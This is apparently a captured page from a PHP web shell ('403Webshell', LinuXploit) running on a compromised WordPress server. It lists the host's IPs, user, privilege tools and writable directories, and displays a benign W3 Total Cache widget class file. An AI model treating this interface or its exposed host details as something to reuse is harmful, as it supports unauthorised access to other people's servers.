403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/w3-total-cache/Generic_WidgetSpreadTheWord_Plugin.php
<?php
/**
 * File: Generic_WidgetSpreadTheWord_Plugin.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Generic_WidgetSpreadTheWord_Plugin
 *
 * phpcs:disable PSR2.Classes.PropertyDeclaration.Underscore
 * phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
 */
class Generic_WidgetSpreadTheWord_Plugin {
	/**
	 * Config
	 *
	 * @var Config
	 */
	private $_config = null;

	/**
	 * Constructor
	 *
	 * @return void
	 */
	public function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Runs plugin
	 *
	 * @return void
	 */
	public function run() {
		if ( 'w3tc_dashboard' === Util_Admin::get_current_wp_page() ) {
			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );
		}

		add_action( 'w3tc_widget_setup', array( $this, 'wp_dashboard_setup' ), 900 );
		add_action( 'w3tc_network_dashboard_setup', array( $this, 'wp_dashboard_setup' ), 900 );
	}

	/**
	 * Dashboard setup action
	 *
	 * @return void
	 */
	public function wp_dashboard_setup() {
		Util_Widget::add(
			'w3tc_spreadtheword',
			'<div class="w3tc-widget-w3tc-logo"></div>' .
			'<div class="w3tc-widget-text">' .
			__( 'Spread the Word', 'w3-total-cache' ) .
			'</div>',
			array( $this, 'widget_form' ),
			null,
			'bottom'
		);
	}

	/**
	 * Widget from
	 *
	 * @return void
	 */
	public function widget_form() {
		include W3TC_DIR . '/Generic_WidgetSpreadTheWord_View.php';
	}

	/**
	 * Enqueue
	 *
	 * @return void
	 */
	public function enqueue() {
		wp_enqueue_style( 'w3tc-widget' );
		wp_enqueue_script( 'w3tc-metadata' );
		wp_enqueue_script( 'w3tc-widget' );

		wp_enqueue_script( 'w3tc_spread_the_word', plugins_url( 'Generic_WidgetSpreadTheWord.js', W3TC_FILE ), array( 'jquery' ), '1.0', false );

		wp_localize_script( 'w3tc_spread_the_word', 'w3tc_spread_the_word_product_url', array( W3TC_SUPPORT_US_PRODUCT_URL ) );
		wp_localize_script( 'w3tc_spread_the_word', 'w3tc_spread_the_word_tweet', array( W3TC_SUPPORT_US_TWEET ) );
		wp_localize_script( 'w3tc_spread_the_word', 'w3tc_spread_the_word_rate_url', array( W3TC_SUPPORT_US_RATE_URL ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit